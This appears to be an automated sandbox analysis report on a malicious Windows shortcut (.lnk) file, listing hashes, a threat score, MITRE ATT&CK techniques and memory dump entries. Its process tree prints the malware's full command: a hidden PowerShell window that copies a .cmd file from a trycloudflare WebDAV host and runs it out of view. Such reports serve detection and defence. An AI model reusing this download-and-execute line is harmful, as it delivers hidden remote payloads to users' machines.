b1a63c8d155a10b728935ec4e5ff5c8de85de41eb9e1cfddbcf3e5214d5d29b3

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
29/05/2024, 02:09

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General

Target

7c638ccd49d5d661528c8cf5c91fe850dc4ec9dd8557c14552eda52361ce780f.lnk
Size

2KB
MD5

7754aa44f62ebf8c88f72ae3671d54c1
SHA1

e13dd18e34b0a3a6cfbfa68984c6d16010578a92
SHA256

7c638ccd49d5d661528c8cf5c91fe850dc4ec9dd8557c14552eda52361ce780f
SHA512

e950be8a6d7570d5739e49b23b9eddae815bf57e23ca72519fd41b7c340928b2049f44721b6e0cb313a738dcbefcd3e867c761d46ef7f1600f88ed69dba88202

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2532	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2532	1976	cmd.exe	29
PID 1976 wrote to memory of 2532	1976	cmd.exe	29
PID 1976 wrote to memory of 2532	1976	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\7c638ccd49d5d661528c8cf5c91fe850dc4ec9dd8557c14552eda52361ce780f.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "Copy-Item '\\badly-andrea-act-barnes.trycloudflare.com@SSL\DavWWWRoot\new.cmd' \"$env:USERPROFILE\Downloads\"; Start-Process \"$env:USERPROFILE\Downloads\new.cmd\" -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2532-38-0x000007FEF4DAE000-0x000007FEF4DAF000-memory.dmp

Filesize
4KB

Download
memory/2532-39-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/2532-42-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-43-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-41-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-40-0x0000000002800000-0x0000000002808000-memory.dmp

Filesize
32KB

Download
memory/2532-44-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-45-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download